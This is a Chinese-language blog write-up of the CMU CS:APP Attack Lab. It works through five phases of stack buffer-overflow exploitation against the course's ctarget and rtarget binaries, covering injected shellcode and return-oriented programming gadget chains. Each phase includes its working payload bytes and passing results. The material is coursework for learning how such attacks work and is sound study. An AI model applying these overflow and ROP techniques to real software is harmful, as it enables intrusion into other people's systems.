CSAPP_lab AttackLab

Last updated on 8 months ago

attacklab

准备

文件下载

所有文件均可以从官网上直接下载:Lab Assignments

与前两个使用不同的是,本实验需要严格按照 PDF 内的说明完成

文件组成

主要文件有三个:

  • ctarget:为 code-injection 攻击,用于 phase 1phase 3

  • rtarget:为 return-oriented programming 攻击,用于 phase 4phase 5

  • hex2raw:用于生成攻击字符串

一个 cookie.txt 文件用于充当验证码的角色,后面会用到

提交

ctargetrtarget 的用法一致:

1
2
3
4
5
6
7
8
9
Usage: [-hq] ./ctarget -i <infile> 
-h Print help information
-q Don't submit result to server
-i <infile> Input file

Usage: [-hq] ./rtarget -i <infile>
-h Print help information
-q Don't submit result to server
-i <infile> Input file

我们不提交到服务器,因此需要带 -q 参数运行

hex2raw 的用法为:

1
2
3
4
usage: ./hex2raw [-h] [i IN] [-o OUT]
-h Print this help message
-i IN specify input text file
-o OUT specify output data file

当然,可以直接 ./hex2raw < input_file > output_file,而前两个不能这样子(需要带 -q 参数运行)

说明

ctargetrtarget 的输入均是从标准输入读取,二者均是通过函数 getbuf 实现:

1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

这里的 Gets 函数与标准库的 gets 函数行为一致,均是从标准库读取而不做任何的边界检查


正式开始

Code Injection Attack

pahse_1

参照 PDF4.1 的部分

test 函数中会调用 getbuf,我们的任务是在 getbuf 执行完之后不再返回 test 函数而是返回到 touch1 函数

我们考察 getbuf 函数行为:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop

函数开始时会分配 0x28 也就是 40 字节的堆栈,随后调用 Gets 函数

需要说明的是,我们的内存地址为 64 位,并且在内存当中以小端存储

在调用 getbuf 函数之前,call 指令便会将 getbuf 的下一条指令的地址压入其过程的栈帧中,之后的部分才是 getbuf 过程的栈帧

因此我们可以用零来将那 40 个字节全部填充,然后在原先是 call 函数返回地址的地方写入 touch1 的地址

touch1 的地址为:0x4017c0,前面补零并用小端表示为:0xc0 17 40 00

因此最终答案为:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

运行结果:

1
2
3
4
5
6
7
8
9
10
$ ./hex2raw < answer/phase_1/input > answer/phase_1/output
$ ./ctarget -qi answer/phase_1/output
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

phase_2

参照 PDF4.2 的部分

与上一步类似,我们在调用 getbuf 函数之后不能返回到 test 而是要到 touch2

需要注意的是,touch2 函数是带有参数的,我们需要让参数 val 的值与 cookie 的值相同即可,这便是本题需要解决的问题

我们首先需要知道一点:程序计数器 PC 所指向的内存地址就是下一条指令的字节级编码,因此如果我们希望程序去执行我们期望的代码,我们除了需要将代码的字节级编码插入到内存中以外,还需要将 PC 的值设置对应的地址

我们重新把目光放到 getbuf 函数上:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop

我们发现这个函数只是简单的分配 40 字节大小的栈帧,随后调用 Gets 函数对该 40 字节的区域进行写入,仅仅只是写入,并不会当成指令执行

getbuf 结束时,ret 指令会弹出一个跳转地址,然后 PC 便会跳转到该地址开始执行指令(也就是在 testgetbuf 函数的下一条指令的地址)

也就是说,ret 指令相当于执行:PC = *rsp, rsp++

那么如果我们需要跳转到某个地址开始执行指令的话,只能用 ret 的方式(因为该指令会设置 PC 的值)。具体地,先将待跳转地址压入栈中,随后执行 ret 指令即可

到此为止,我们便可以正式开始代码插入了,我们的需求是:

  • %rdi 的值改为 cookie
  • 跳转到 touch2 执行代码(先将地址压入栈中,随后使用 ret 指令)

由于我们不知道这三条指令的字节级编码,因此我们先用汇编语言写出来,随后用 gcc-c 参数进行汇编(-c 表示值编译和汇编而不进行链接),得到可执行程序后用 objdump 进行反汇编即可得到指令对应的字节级编码

insert.s 文件中,汇编代码如下:

1
2
3
4
mov $0x59b997fa, %rdi
push $0x4017ec
ret

执行如下语句:

1
2
gcc -c insert.s -o insert
objdump -d insert > insert.asm

insert.asm 的内容如下:

1
2
3
4
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret

因此我们插入的字节级数据便得到了。但如果直接将以下内容写入,我们是得不到想要的结果的

1
2
3
4
5
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

正如我们刚才分析的那样,Gets 函数仅仅是对栈空进进行写入,程序计数器 PC 的值并没有执行栈顶,因此也就不会执行对应的代码

getbuf 函数结束后会执行一次 ret,我们在 phase_1 阶段将这个值覆盖为 touch1 的地址,我们在这里将其覆盖为栈顶地址,这样 PC 就可以执行栈顶了

也就是说,我们需要找到在 getbuf 中,%rsp 下降 40 字节后的地址

我们启动 cgdb 开始调试:

1
2
3
4
5
6
7
8
9
10
11
12
cgdb ./ctarget

# 在 getbuf 处打断点
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.

Breakpoint 1, getbuf () at buf.c:12
12 in buf.c
(gdb) n
14 in buf.c
(gdb) i r rsp
rsp 0x5561dc78 0x5561dc78

我们看到分配完 40 字节后的 %rsp 的地址为 0x5561dc78 ,将地址按小端排列后覆盖原先的 getbuf 的返回地址,有:

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

运行结果:

1
2
3
4
5
6
7
8
9
$ ./ctarget -qi ./answer/phase_2/output 
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

phase_3

参照 PDF4.3 的部分

这里 CMU 的教授给了个提示:When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.

意思是函数 hexmatchstrncmp 的调用会将栈空间给覆盖,因此需要小心地存储 cookie 所表示的字符串

hexmatch 函数的定义如下:

1
2
3
4
5
6
7
8
9
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

这个函数会将 cookie 的值16 进制打印到字符数组 s,然后在比较 svals 的前九个字符

也就是说,我们传入的 sval 所指向的字符串需要以 ASCII 字符的形式存储 cookie

我们去看 touch3 的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 call 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 call 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff call 400e40 <exit@plt>

可以看到在开头并没有分配栈帧,对全局变量 val 赋值完毕后直接调用 hexmatch 了,hexmatch 的汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44 24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff call 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff call 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff call 400ca0 <strncmp@plt>
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff call 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 ret

分配栈帧的是 add $0xffffffffffffff80,%rsp,相当于分配 128 字节的空间,也就是 0x80

touch3 地址存储在 0x5561dca0 处,而在 getbuf 的结尾处,由于执行了 ret 指令,因此 %rsp 的值需要再此基础上加上 0x8 ,也就是 0x5561dca8

那么从当前 %rsp 的位置,到 getbuf 栈顶所在地址 0x5561dc78 之间的内容,一定会被 hexmatch 所覆盖,因此我们需要另外寻找办法

有一个办法是,我们在跳转到 touch3 之前,将栈指针 %rsp 的值赋值为栈顶地址,也就是 0x5561dc78 ,这之后再去调用 touch3 ,那么之后分配的栈帧就不会影响我们插入的内容了

我们写出如下汇编代码,保存为文件 insert.s

1
2
3
4
5
leaq 0x5561dc78, %rsp
leaq 0x5561dc90, %rdi
push $0x4018fa
ret

执行如下语句:

1
2
$ gcc -c ./answer/phase_3/insert.s -o ./answer/phase_3/insert
$ objdump -d ./answer/phase_3/insert > ./answer/phase_3/insert.asm

insert.asm 文件内容为:

1
2
3
4
5
6
 0:	48 8d 24 25 78 dc 61 	lea    0x5561dc78,%rsp
7: 55
8: 48 8d 3c 25 90 dc 61 lea 0x5561dc90,%rdi
f: 55
10: 68 fa 18 40 00 push $0x4018fa
15: c3 ret

我们将这些字符依次写入,再将 touch3 的开始地址作为 getbuf 的中 ret 的跳转地址,得到最终答案:

1
2
3
4
5
6
48 8d 24 25 78 dc 61 55
48 8d 3c 25 90 dc 61 55
68 fa 18 40 00 c3 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

运行结果:

1
2
3
4
5
6
7
8
9
$ ./ctarget -qi ./answer/phase_3/output 
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 8D 24 25 78 DC 61 55 48 8D 3C 25 90 DC 61 55 68 FA 18 40 00 C3 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

Return-Oriented Programming

从这一阶段开始将会介绍一种新的代码攻击方式 ROP, Return-Oriented Programming,直译就是面向返回值编程,提出这种攻击方式是因为:

  • 栈随机化:程序运行时栈的位置每次都会变化,我们无法定位堆栈的地址(虽然栈的地址是随机的,但函数的入口地址已经不会发生改变)
  • 可执行区域限制:栈内的代码被标记为不可执行,如果执行的话会报 segmenttation fault

下面我们详细说明一下 ROP 的编程思想:

ROP 的核心在于 ret 指令,该指令可以分解为:PC = *rsp, rsp++,也就是会将当前栈顶处的地址赋值给 PC ,然后将栈顶指针向上增加 64 个字节(一定是将地址返回给 PC ,而不是指令的字节序列

在一段程序中,如果一个 ret 指令前的字节序列,恰好可以由我们需要的指令的字节级编码前后拼接而成,便可以实现 ROP,我们称这一个连续的指令序列为 gadget

我们来看书中的例子:

1
2
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

这是一段正常的代码。但字节序列 48 89 c7 可以被翻译为 movq %rax, %rdi ,并且后面接的正好是 ret ,因此便可以实现 ROP

这里有一个疑问是,为什么一定要以 ret 为结尾,这一点将在 phase_4 中得到解答

phase_4

参照 PDF5.1 的部分,这个实验一定要将 PDF 中的内容全部理解,不然做不下去

我们需要在 rtarget 中完成 phase_2 一样的任务,只不过 rtargetctarget 不同的是加入了上面的两种防止缓冲器攻击的机制

核心思想还是先对 %rdi 进行赋值,然后跳转到 touch2 的地址即可

由于我们不能将立即数直接赋值给一个寄存器,因此我们需要将立即数赋值给寄存器,然后再将这个寄存器赋值给 %rdi

我们可以考虑用 pop 指令来对寄存器进行赋值,然后再用 mov 指令对 %rdi 进行赋值

查表发现,pop %rax 的字节级编码为 58 ,我们在 rtarget 中搜索 58 的位置,得到如下结果:

1
2
3
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret

字节 90nop 的字节级编码,因此可以直接忽视

我们需要的地址从 0x4019ab 开始,然后以 c3 结束(也就是以 ret 结束)

因此我们将地址 0x4019ab 注入到堆栈中,覆盖原先 getbuf 的返回值,这样就可以让 PC 跳到我们指定的位置了

当执行 ret 之后,PC 会回到原先的位置,如果后面还有一次我们注入的地址,那么就会再执行一次刚刚的行为,所以这就是为什么一定要以 ret 为结尾

在我们从栈中弹出 cookie 后,我们需要执行 mov %rax, %rdi,该指令的字节级编码为:48 89 c7,我们找到:

1
2
3
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret

我们需要的地址为 0x4019c5,到此我们也就执行完所有需要的指令了,之后将 touch2 的地址写入栈中即可

答案如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

执行结果:

1
2
3
4
5
6
7
8
9
$ ./rtarget -qi ./answer/phase_4/output 
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

phase_5

参照 PDF5.2 的部分

本实验要求我们在 rtarget 中完成 phase_3 的内容

我们知道,phase_3 的难点在于 hexmatch 会将缓冲区覆盖导致没办法正常读取到插入的字符串,因此我们考虑先改变栈指针 %rsp ,然后将 %rdi 的值指向我们插入字符串的起始地址出

在这里,我们无法去改变 %rsp 的值,因为没有一个合适的 gadget 让我们这么做,因此我们考虑另一种做法:

touch3 跳转地址的上面插入该字符串,那么我们只需要让 %rdi 的值指向该地址,那么就可以正常的读取到该字符串

思路到这,也就到了本题的难点:栈是随机的,我们该如何定位 touch3 的前一个地址的位置

由于每次程序运行时栈的地址都不同,我们确实无法直接通过地址赋值的方式给 %rdi 进行赋值,但我们注意到我们需要的地址总是在 touch3 的前一个位置,也就是说,如果我们能得到某个时刻 %rsp 的值,那么将其减去某个偏移量,自然便可以得到我们想要的地址

farm 中,我们发现有一个计算两数之和的函数:

1
2
3
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

我们考虑用这个函数来实现,此函数将 %rdi%rsi 的值累加后放到 %rax

我们查表可以发现,mov %rax, %rdimov %rsp, %rax 这两个操作在 farm 中总能够找到

因此我们用 %rdi 来存储某时刻的栈指针(这一步很容易可以实现),用 %rsi 来存储偏移量

我们用 pop %rax 来将偏移量临时存放在 %rax 中,之后的问题转为如何将偏移量赋值给 %rsi

farm 中,没有 gadget 能够直接将值赋值给 %rsi,由于我们的偏移量不会太大,因此考虑看看有没有什么寄存器能够赋值给 %esi

查表得知,能够给 %esi 赋值的只有 %ecx,我们按着这个思路往回推,有哪个寄存器可以给 %ecx 赋值

能够给 %rcx 赋值的只有 %edx,对应的 gadget 如下:

1
2
3
0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3 ret

我们需要的是 89 d1 ,后面接了一个 91 ,这个属于 nop ,效果于 90 一样

我们可以在 phase_2 中试一下,将栈顶全部换成 91,得到如下输入

1
2
3
4
5
6
91 91 91 91 91 91 91 91
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

这个输入也是可以通过的

继续刚刚的过程,能够赋值给 %edx 赋值的只有 %eax,到此为止我们便实现了从 %rax%rsi 的赋值

我们将这个过程写成伪代码的形式,方便我们查找对应的 gadget

1
2
3
4
5
6
7
8
9
10
11
rsp -> rax
rax -> rdi
pop rax
//偏移量x
eax -> edx
edx -> ecx
ecx -> esi
lea (rdi, rsi) -> rax
rax -> rdi
//touch3返回地址
cookie字符串

最终答案为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

运行结果:

1
2
3
4
5
6
7
8
9
$ ./rtarget -qi ./answer/phase_5/output 
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61

总结

我们最后写一个简单的脚本 auto.sh 来庆祝一下吧

1
2
3
4
5
6
#!/bin/bash
./ctarget -qi ./answer/phase_1/output
./ctarget -qi ./answer/phase_2/output
./ctarget -qi ./answer/phase_3/output
./rtarget -qi ./answer/phase_4/output
./rtarget -qi ./answer/phase_5/output

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ ./auto.sh 
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 8D 24 25 78 DC 61 55 48 8D 3C 25 90 DC 61 55 68 FA 18 40 00 C3 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61

CSAPP_lab AttackLab
https://nishikichisato.github.io/2023/06/27/CSAPP_LAB/AttkackLab/
Author
Nishiki Chisato
Posted on
June 27, 2023
Updated on
June 27, 2023
Licensed under